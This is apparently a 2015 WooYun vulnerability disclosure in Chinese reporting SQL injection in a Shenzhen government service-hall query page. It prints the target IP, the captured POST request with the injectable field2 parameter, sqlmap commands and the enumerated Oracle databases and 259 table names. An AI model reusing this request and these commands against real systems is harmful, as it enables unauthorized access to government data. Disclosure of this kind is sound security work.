当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116279

漏洞标题：深圳市行政服务大厅办理查询处SQL注入漏洞

相关厂商：szzw.gov.cn

漏洞作者： 甲鱼

提交时间：2015-05-26 15:58

修复时间：2015-05-31 16:00

公开时间：2015-05-31 16:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-26： 细节已通知厂商并且等待厂商处理中
2015-05-31： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

深圳市行政服务大厅网上办事系统的办理查询，
URL：http://61.144.227.35/main/gb/adminhall/result1.jsp
此处可以根据【回执编号】查询申请办理时间的办理状态，【回执编号】是以6为日期开头的13位数字串，如：『201502163000016』
输入 回执编号『201502163000016』，正常显示的状态是这样的：

chaxunjieguo.png


上面的查询请求，在 BurpProxy 代理中看到的是这样的：

POST /main/gb/adminhall/result1.jsp HTTP/1.1
Host: 61.144.227.35
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://61.144.227.35/main/gb/adminhall/new_searchDeal.jsp
Cookie: JSESSIONID=0000ngOSo_HZYkdfe6hco2YKAW8:-1; visitTimes=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
field2=201502163000016&Submit=%B2%E9%D1%AF

漏洞证明：

把上面 Burp 中的请求头、请求提保存到一份文本文件 【req.txt】中，用 SqlMap 测一下其中的 【field2】 参数：

python sqlmap.py -r req.txt -p "field2" --dbs


会得到结果：

available databases [13]:
[*] BIGZHU
[*] CTXSYS
[*] MDSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[*] XZFWDT
[*] XZFWDTDATA


Oracle 的数据库，看看 【XZFWDT】里面的数据表：

python sqlmap.py -r req.txt -p "field2" -D XZFWDT --tables


结果吓尿：

Database: XZFWDT
[259 tables]
+-------------------------------+
| CATALOG                       |
| ARTICLE                       |
| ARTICLEFOLDER                 |
| ARTICLEKEYWORD                |
| ARTICLEREAD                   |
| ARTICLEREJECT                 |
| ARTICLESOURCE                 |
| ARTICLETOPIC                  |
| ARTICLEUSER                   |
| ARTICLEVIEW                   |
| ARTICLE_RELATE_WORD           |
| ARTICLE_STAT                  |
| BANNER_TYPE                   |
| BANS_BANNERINFO               |
| BANS_BANNERSTATS              |
| BANS_DAYSTATS                 |
| BANS_DEFAULT_BANNER           |
| BANS_GROUP                    |
| BANS_STATE                    |
| BBS_ARTICLE                   |
| BBS_BANK                      |
| BBS_BOARD                     |
| BBS_CATALOG                   |
| BBS_IP                        |
| BBS_KEYWORD                   |
| BBS_NOTICE                    |
| BBS_REPLY_MAN                 |
| BBS_USER                      |
| BUILD_TEMPLATE                |
| CASES                         |
| CASE_REPLY                    |
| CASE_TRADE                    |
| CASE_USER                     |
| CATALOG_FILE                  |
| CATALOG_FILE_OUT              |
| CATALOG_PAGE                  |
| CATALOG_PLUGIN                |
| CATALOG_RELATION              |
| CATALOG_USER                  |
| COMPLAIN                      |
| CT                            |
| DEAL                          |
| DEAL2                         |
| DEAL_TEST                     |
| DECLARES                      |
| DECLARE_STATE                 |
| DICTIONARY                    |
| DICTIONARY_TYPE               |
| DOCUMENT                      |
| DOCUMENT_UPLOAD               |
| EMAGAZINE                     |
| EMAG_ARTICLE                  |
| EMAG_COLUMN                   |
| EMAG_ISSUE                    |
| EMAG_ISSUE_COLUMN             |
| EVENTLOG                      |
| EXCHANGE_DCDA                 |
| EXCHANGE_DEAL                 |
| EXCHANGE_DEAL_CATALOG         |
| EXCHANGE_FILE                 |
| EXCHANGE_IN_DCDA              |
| EXCHANGE_IN_HIST_EMAIL_BJZT   |
| EXCHANGE_IN_HIST_EMAIL_DTFBXX |
| EXCHANGE_IN_MYDDCWT           |
| EXCHANGE_IN_MYDDCXZSM         |
| EXCHANGE_IN_TEMP_BJZT         |
| EXCHANGE_IN_TEMP_BJZT_0426    |
| EXCHANGE_IN_TEMP_BLSX         |
| EXCHANGE_IN_TEMP_CK           |
| EXCHANGE_IN_TEMP_CKSX         |
| EXCHANGE_IN_TEMP_DTFBXX       |
| EXCHANGE_IN_TEMP_DW           |
| EXCHANGE_IN_TEMP_EMAIL_BJZT   |
| EXCHANGE_IN_TEMP_EMAIL_DTFBXX |
| EXCHANGE_LAW                  |
| EXCHANGE_LAW_BAK              |
| EXCHANGE_LAW_CATALOG          |
| EXCHANGE_MYDDCWT              |
| EXCHANGE_MYDDCXZSM            |
| EXCHANGE_ORGANIZATION         |
| EXCHANGE_ORGANIZATION_BAK     |
| EXCHANGE_RESOURCES_CONNECTION |
| EXCHANGE_RESOURCES_CON_BAK    |
| EXCHANGE_TEMP_BJZT            |
| EXCHANGE_TEMP_BJZT_NEW        |
| EXCHANGE_TEMP_BLSX            |
| EXCHANGE_TEMP_CK              |
| EXCHANGE_TEMP_CKSX            |
| EXCHANGE_TEMP_DTFBXX          |
| EXCHANGE_TEMP_DTFBXX_NEW      |
| EXCHANGE_TEMP_DW              |
| FEEDBACK                      |
| FEEDBACK_TYPE                 |
| HOMEPAGE_CATALOG              |
| HOT_CATALOG                   |
| INQUIRY_ANSWER_COUNT          |
| INQUIRY_QUESTION              |
| INQUIRY_QUESTION_ANSWER       |
| INQUIRY_QUESTION_TYPE         |
| INQUIRY_TOME                  |
| INQUIRY_TOME_QUESTION         |
| INQUIRY_USER                  |
| INQUIRY_USER_ANSWER           |
| INQUIRY_USER_ANSWER_BAK       |
| INQUIRY_USER_RESULT           |
| LAW                           |
| LAW_NEW                       |
| LIBRARY_INFOSTYLE             |
| LIBRARY_ITEM                  |
| LIBRARY_TABLEINFO             |
| LIBRARY_TYPE                  |
| LINK                          |
| LINK_TYPE                     |
| LIVE_ARTICLE                  |
| LIVE_ROLE                     |
| LIVE_TOPIC                    |
| LIVE_WORD                     |
| MAILBOX_ARTICLE               |
| MAILBOX_ARTICLE_OPERATOR      |
| MAILBOX_FLOW                  |
| MAILBOX_FLOW_OPERATOR         |
| MAILBOX_FLOW_PROCESS          |
| MAILBOX_OPERATION             |
| MAILBOX_RIGHT                 |
| MAILBOX_TYPE                  |
| MAILLIST                      |
| MAILLISTMSG                   |
| MAILLISTMSGHIS                |
| MAILLISTSUBSCRIBE             |
| MEMBER_ACCOUNT                |
| MEMBER_ENTERPRISE             |
| MEMBER_MESSAGE                |
| MEMBER_MESSAGE_OWNER          |
| MEMBER_PERSON                 |
| MEMBER_PROFILE                |
| MEMBER_PROFILE_CATALOG        |
| MEMBER_SIGNUP                 |
| MEMBER_TYPE                   |
| MESSAGE                       |
| MESSAGE_TYPE                  |
| NET_APPLY                     |
| NET_ARTICLE                   |
| NET_ARTICLE_TYPE              |
| NORMALINFO_LIST               |
| NORMALINFO_LISTTYPE           |
| ONLINEUSER                    |
| OPTION_REPLY                  |
| OPTION_TITLE                  |
| PHOTO_LIB                     |
| PHOTO_TYPE                    |
| PLAN_TABLE                    |
| PLUGIN                        |
| PLUGIN_PROFILE                |
| PORTAL_USER                   |
| PROCDESCRIP                   |
| PROFILE                       |
| PROFILE_CATALOG               |
| PROFILE_MESSAGE               |
| PROFILE_NOTEBOOK              |
| PROFILE_SETTING               |
| PROFILE_SYSTEM                |
| PROFILE_TYPE                  |
| PROFILE_USER                  |
| PROFILE_USER_MESSAGE          |
| PUBLISH_CATALOG               |
| RESOURCES                     |
| RESOURCES_CONNECTION          |
| RESOURCES_RELATE              |
| RIGHTS_OBJECTS                |
| RIGHTS_OPTIONS                |
| RIGHTS_PERMISSIONS            |
| RIGHTS_ROLES                  |
| RIGHTS_ROLE_OBJ               |
| RIGHTS_ROLE_USER              |
| RIGHTS_USERS                  |
| RIGHTS_USER_ACTIONTIME        |
| RIGHTS_USER_OBJ               |
| RIGHTS_USER_SHARE             |
| RIGHTS_USER_TRANSFER          |
| SERVICE                       |
| SETTING                       |
| SIGNS                         |
| SIGN_TYPE                     |
| SITE                          |
| SITE_MENUBAR                  |
| SITE_STAT                     |
| SITE_STATE                    |
| SITE_TEMPLATE                 |
| SITE_TEMPLATE_PROFILE         |
| SITE_USER                     |
| STAT_DAY                      |
| STAT_FADDRESS                 |
| STAT_FAREA                    |
| STAT_FBROWSER                 |
| STAT_FIP                      |
| STAT_FIPONE                   |
| STAT_FIPTWO                   |
| STAT_FMOZILLA                 |
| STAT_FREFER                   |
| STAT_FSCREEN                  |
| STAT_FSYSTEM                  |
| STAT_FVISIT                   |
| STAT_FWEBURL                  |
| STAT_INFOLIST                 |
| STAT_IPINFO                   |
| STAT_IPSCOPE                  |
| STAT_MONTH                    |
| STAT_STATDAY                  |
| STAT_STATMONTH                |
| STAT_STATWEEK                 |
| STAT_STATYEAR                 |
| STAT_VISITOR                  |
| STAT_VISITTIME                |
| STAT_WEEK                     |
| STAT_YEAR                     |
| SUGGESTION                    |
| SUGGESTION_AUTHDEPTCOMMENT    |
| SUGGESTION_CATAGORY           |
| SUGGESTION_CLERKINFO          |
| SUGGESTION_COMMISSARY         |
| SUGGESTION_COMMISSARYINFO     |
| SUGGESTION_DEPARTMENTINFO     |
| SUGGESTION_DEPARTMENTTYPE     |
| SUGGESTION_FILETYPE           |
| SUGGESTION_HISTORY            |
| SUGGESTION_RDDB               |
| SUGGESTION_ROLE               |
| SUGGESTION_ZXWY               |
| SURVEYANSWERS                 |
| SURVEYLOGSCOOKIE              |
| SURVEYLOGSIP                  |
| SURVEYQUESTIONS               |
| SURVEYQUESTIONS_KIND          |
| TAB_96666BOX                  |
| TAB_DEPBRANCH                 |
| TAB_DEPINFO                   |
| TAB_DEPINFO2                  |
| TAB_LEADERINFO                |
| TAB_STAFFINFO                 |
| TAB_UP_BRANCH                 |
| TEMP1                         |
| TEMPLATE                      |
| TEMPLATE_BAK                  |
| TEMPLATE_CATALOG              |
| TEMPLATE_CATALOG_NOUSE        |
| TEMPLATE_LIB_NOUSE            |
| TEMPLATE_WEBPART              |
| TEMP_IN_TOTALCNT              |
| TEMP_TOTALCNT                 |
| TOURIST_ARTICLE               |
| T_ERRORMSG                    |
| USER_DEPT                     |
| USER_DOC_SHARE                |
| USER_GROUP                    |
| USER_GROUP_MEMBER             |
| USER_ONLINE                   |
| WUBIN                         |
| XZXKBLJG                      |
| YWTJ                          |
+-------------------------------+


一个库里259个表，其中还有好几个【USER】字样的数据表……醉了。
没继续深入，点到为止。

修复方案：

过滤。

版权声明：转载请注明来源 甲鱼@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-31 16:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无